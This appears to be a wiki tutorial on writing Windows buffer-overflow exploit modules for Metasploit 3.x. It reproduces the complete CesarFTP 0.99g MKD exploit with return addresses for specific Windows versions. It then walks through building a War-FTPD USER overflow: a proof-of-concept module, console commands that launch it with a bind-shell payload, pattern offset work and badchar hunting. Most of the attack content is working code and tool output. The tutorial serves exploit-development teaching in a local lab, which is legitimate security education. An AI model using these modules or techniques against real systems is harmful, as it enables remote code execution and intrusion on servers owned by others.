Metasploit/WritingWindowsExploit


Writing a Windows Exploit for the Metasploit Framework


Abstract

edit

This page explains how to write a Windows Exploit for the Metasploit Framework v3.x.
This page doesn't explain how to find vulnerabilities. (For this, please see Fuzzing)

Overview

edit

The Metasploit Framework helps to write reliable exploits easily and quickly.
The Metasploit Framework uses the Ruby language.

Requirements

edit

Technical skills

  • Some skills about the use of the Metasploit Framework.
  • Some programming skills (Ruby skills are useful but not fully required)
  • Some understanding about the Windows memory management (Heap, Stack, Registers)

Materials

  • The Metasploit Framework installed and working
  • A Windows platform
  • A debugger [1]
  • A text editor


Getting started

edit

In the Metasploit Framework, an exploit is called an "exploit module".

Exploit modules are located by default in:
C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\
(also check C:\Documents and Settings\<Your User Name>\Application Data\msf3\modules\exploits if you do not find in above path)

Exploit modules are classified by platforms (OSes) and then by types (protocols).

Editing an exploit module

edit


A good way to understand how an exploit module is written is to first edit one.

We edit this module:
C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\windows\ftp\cesarftp_mkd.rb

#Notes of the author are noted in red.

##
# $Id: cesarftp_mkd.rb 4419 2007-02-18 00:10:39Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://Metasploit.com/projects/Framework/
##

#Comment lines start with a # (they won't be executed)
require 'msf/core' #We will always need the core library
module Msf #This line should always be present
class Exploits::Windows::Ftp::Cesarftp_Mkd < Msf::Exploit::Remote
#The name of the class (Exploits::Windows::Ftp::Cesarftp_Mkd) specifies where the exploit module
#is physically located (*\exploits\windows\ftp\cesarftp_mkd.rb). The filename of the exploit
#module (cesarftp_mkd.rb) should be the same as the name of the class (Cesarftp_Mkd)
include Exploit::Remote::Ftp #We use MSF's built-in Ftp functions def initialize(info = {}) super(update_info(info, 'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow', #An understandable, detailed name (displayed in the console) 'Description' => %q{ This module exploits a stack overflow in the MKD verb in CesarFTP 0.99g. #The description of the module/vulnerability }, 'Author' => 'MC', #The (nick)name of the author of this module 'License' => MSF_LICENSE, #Type of license 'Version' => '$Revision: 4419 $', #Version number of the module 'References' => #Various 'URLs' about the vulnerability [ [ 'BID', '18586'], [ 'CVE', '2006–2961'], [ 'URL', 'http://secunia.com/advisories/20574/' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 250, #Maximum space available in memory to store the shellcode (payload) 'BadChars' => "\x00\x20\x0a\x0d", #List of the forbidden characters 'StackAdjustment' => -3500, }, 'Platform' => 'win', #Type of the target's platform 'Targets' => #List of the targets and return addresses [ [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ], [ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ], [ 'Windows 2003 SP1 English', { 'Ret' => 0x76AA679b } ], ], 'DisclosureDate' => 'Jun 12 2006', #Vulnerability disclosure date 'DefaultTarget' => 0 #Default target used if not specified by the user (in this case: Windows 2000 Pro SP4 English) ) ) end
	def check #Function used to check if a target is vulnerable
		connect
		disconnect
		if (banner =~ /CesarFTP 0\.99g/) #We test the banner returned by the server
			return Exploit::CheckCode::Vulnerable #The server is vulnerable
		end
			return Exploit::CheckCode::Safe #The server is NOT vulnerable
	end
	def exploit #We defines our exploit
		connect_login #We use the Ftp login function
		sploit =  "\n" * 671 + Rex::Text.rand_text_english(3, payload_badchars) #Padding
		sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded
		#Return address (little endian converted) + nop sled + payload
		print_status("Trying target #{target.name}...")
		send_cmd( ['MKD', sploit] , false) #We send our exploit code to the target
		handler
		disconnect #We close the connection
	end

end
end

Writing an exploit module

edit

The target

edit

To understand how to write an exploit module for the Metasploit Framework, we'll write an exploit for an easily exploitable vulnerability in WarFTPD version 1.5 [2].
(Note that the exploit module for this vulnerability already exists in the Metasploit Framework, but we are trying to build our own exploit.)
We download and install WarFTPD in our local Windows machine.
We start WarFTPD Daemon.
We uncheck the "No anonymous logins" checkbox.
We start the FTP server (click on the "Go Online/Offline" button)



Ok, the server is now waiting for us...

The vulnerability

edit

The first thing to do is to find information about the vulnerability in question. There are many possible sources for this.
Here's an example:
http://osvdb.org/displayvuln.php?osvdb_id=875&print

We now see that the bug can be triggered by sending a specially crafted request in the USER command.
Often a very long string will trigger this sort of bug, but let's verify that.

The PoC

edit

We first reproduce the vulnerability.
For this, we directly use the Metasploit Framework.
We create the file:
C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\windows\ftp\warftpd.rb

We open this file and write (copy/paste) the following code in it:

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://Metasploit.com/projects/Framework/
##

require 'msf/core'
 

class Metasploit3 < Msf::Exploit::Remote
 	Rank = AverageRanking
   
   #The names of the exploit module and the class are 'equal' 

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'War-FTPD 1.65 Username Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow found in the USER command
				of War-FTPD 1.65.
			},	#End of Description
			'Author'         => 'Your Name',	#Change this value with your (nick)name
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 1 $',
			'References'     => 
				[
					[ 'URL', 'http://osvdb.org/displayvuln.php?osvdb_id=875&print' ]
					#The URL mentioned above
				],
			'DefaultOptions' => 
				{
					'EXITFUNC' => 'process'
				},
			'Payload'        =>
				{
					'Space'    => 1000,		#We actually don't know the correct value for this
					'BadChars' => "\x00"
					#We actually don't know the correct value for this
				},
			'Targets'        =>
				[
					# Target 0
					[
						'Our Windows Target',
						#Replace this with your Windows target platform (ie: Windows 2000 SP4)
						{
							'Platform' => 'win',	#We exploit a Windows target
							'Ret'      => 0x01020304
							#We actually don't know the correct value for this
						}
					]
				]
		)	#End of update_info()
		)	#End of super()
	end	#End of initialize

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		exploit          = 'A' * 1000	#We first try to trigger the bug by sending a long string of 1000 "A"

		send_cmd( ['USER', exploit] , false )	#We send our evil string

		handler
		disconnect	#We disconnect from the server 
	end	#End of exploit

end	#End of class


The WarFTPD server is running (listening on default port 21/tcp).
We now launch the Metasploit Framework's console.
(Start / Programs / Metasploit3 / MSFConsole)

We can now view our exploit using this command:
show exploits

 

We now launch our exploit using these commands:
use windows/ftp/warftpd
set RHOST 127.0.0.1
set TARGET 0
set PAYLOAD generic/shell_bind_tcp
exploit


 

After few seconds we see the WarFTPD Daemon FTP Server disappearing (crashing).
We have successfully reproduced the bug.


Debugging
edit

To see what happens when the server crashes, we use a debugger.
We launch again WarFTPD Daemon and attach our debugger to it.
=> In OllyDbg, we use "File/Attach", choose the WarFTPD process, click Ok and after it has been loaded, we press the F9 key to have it Running.


We launch our exploit again.
We can now look at our debugger.
We see that an access violation is triggered.
EIP is overwritten with our evil string (41414141 is the hexadecimal equivalent for AAAA)

Fine tuning

edit
Finding space available
edit

We have to find the space available for our shellcode (payload).

The Metasploit Framework includes tools to help us.

First, we shut down our debugger.


We use the pattern_create() function to generate a string of non-repeating alpha-numeric text string. We use this function by calling the following script: C:\Program Files\Metasploit\Framework3\msf3\tools\pattern_create.rb

From a DOS command line console, it gives:

C:\Program Files\Metasploit\Framework3\msf3\tools>ruby pattern_create.rb
Usage: pattern_create.rb length [set a] [set b] [set c]



We generate a string of 1000 characters and use it in our exploit to trigger the bug again:

C:\Program Files\Metasploit\Framework3\framework\tools>ruby pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A
f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9
Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak
6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9
Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As
6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A
v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9
Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba
6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B
d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9
Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh

In our PoC code, we replace this line:

exploit          = 'A' * 1000

for:

exploit          = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A
f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9
Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak
6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9
Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As
6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A
v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9
Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba
6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B
d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9
Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh'


Then, we save our modified PoC code. We start the War-FTPD FTP server. We run our debugger and attach it to the War-FTPD process. We launch our exploit...

Ok, we can now see this in our debugger:

 


We see that EIP is now overwritten with the value "32714131".


Then we use patternOffset to know the number of characters to send before hitting EIP. For this, we use the following script: C:\Program Files\Metasploit\Framework3\framework\tools\pattern_offset.rb

From a DOS command line console, it gives:

C:\Program Files\Metasploit\Framework3\msf3\tools>ruby pattern_offset.rb
Usage: pattern_offset.rb <search item> <length of buffer>
Default length of buffer if none is inserted: 8192
This buffer is generated by pattern_create() in the Rex library automatically


So, we now provide the parameters found before like this:

C:\Program Files\Metasploit\Framework3\msf3\tools>ruby pattern_offset.rb 32714131 1000

The result "485" is displayed. It means that we should have a space of 485 bytes to store our payload.


We add this value in our PoC code: We modify this line:

'Space'    => 1000,          #We actually don't know the correct value for this

for:

'Space'    => 485,

In this way, when we will load our exploit in the Metasploit Framework (with the "use" command), it will automatically search and display the available payloads with a size lower than 485 (with the "show PAYLOADS" command).

Finding a return address
edit

We have now to find a reliable return address.
The best way is to take a return address directly in our target. (in the vulnerable executable itself or in one of the DLLs it uses)
It avoids problems with various versions of Windows and Service Packs, locales, hotfixes...
It would make our exploit universal.
But it is not always so easy.

One way for this is to use the search in memory functionality of OllyDbg.

And, once again, the Metasploit Framework includes tools to help us.

We can use 'msfpescan' to search return addresses for an opcode:

$ ./framework/msfpescan
Usage: ./framework/msfpescan [mode] <options> [targets]

Modes:
    -j, --jump [regA,regB,regC]      Search for jump equivalent instructions
    -p, --poppopret                  Search for pop+pop+ret combinations
    -r, --regex [regex]              Search for regex match
    -a, --analyze-address [address]  Display the code at the specified address
    -b, --analyze-offset [offset]    Display the code at the specified offset
    -f, --fingerprint                Attempt to identify the packer/compiler

Options:
    -M, --memdump                    The targets are memdump.exe directories
    -A, --after [bytes]              Number of bytes to show after match (-a/-b)

    -B, --before [bytes]             Number of bytes to show before match (-a/-b
)
    -I, --image-base [address]       Specify an alternate ImageBase
    -h, --help                       Show this message


We can also use the MSF Opcodes Database:
http://metasploit.com/users/opcode/msfopcode.cgi
Note that the Metasploit Framework includes a built-in client to use this database:
http://www.metasploit.com/projects/Framework/msf3/msfopcode.html

We can also use another nice tool called eereap from eEye:
http://research.eeye.com/html/tools/RT20060801-2.html

We can also find some international return addresses here:
https://www.securinfos.info/international-opcodes/index.php

Dealing with badchars
edit

We have now to find and prevent badchars.
We should not include terminating null character in our shellcode as it would break out of the execution.
We have already done this with this in our exploit: 'BadChars' => "\x00"

Additionally, a target application will often modify the data received before the application will work with the data.
An example is an application that will change all characters to uppercase.
As this will modify our shellcode, we have to deal with it.
For this, the Metasploit Framework will encode our shellcode to obtain one without any specified badchars.
We just have to specify the list of badchars in our exploit code.

So, to find the badchars, we will send a string containing all the characters of the ASCII table, with both printable and non-printable ones.
The string will look like this:

"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d
\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c
\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b
\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a
\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9
\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8
\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7
\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"


@ We edit our exploit code and put the above string in it.
Then, having our target application running and our debugger attached to its process; we relaunch our exploit.
Under the debugger, after the access violation is triggered, we right click on the esp register and choose the option "follow in dump".
We will now see our string and check what are the missing or modified characters at the end of the string.
It is our first badchars. (note it)

We remove it in our exploit code, and do it@ again...
until we see all the characters sended in our debugger.

Now we write, in the badchars section of our exploit, the characters found as badchars (removed or modified by the application).

References

edit

[1] Free Windows Debuggers
http://www.ollydbg.de/
http://www.microsoft.com/whdc/devtools/debugging/default.mspx

[2] WarFTPD v1.5 download link https://www.securinfos.info/old_softwares_vulnerable/WarFTP165_vulnerable_USER_BufferOverflow.exe

http://www.milw0rm.com/papers/142

Metasploit Framework v3.0 Developer Documentation:
http://Metasploit.com/projects/Framework/msf3/

Exploit Module Tutorial:
http://Metasploit.com/projects/Framework/documentation.html#exploitTutorial

Vinnie Liu - Writing Exploits III:
http://www.syngress.com/book_catalog/327_SSPC/sample.pdf

http://www.securityforest.com/wiki/index.php/Category:Buffer_Overflows_Education
https://www.securinfos.info/english/security-papers-hacking-whitepapers.php

https://www.securinfos.info/VNSECON2007/VNSECON07-JA-Exploit_development.pdf

Developing My First Exploit - by MaXe (thanks to Jerome Athias)
Video Guide: http://guides.intern0t.net/msf2.php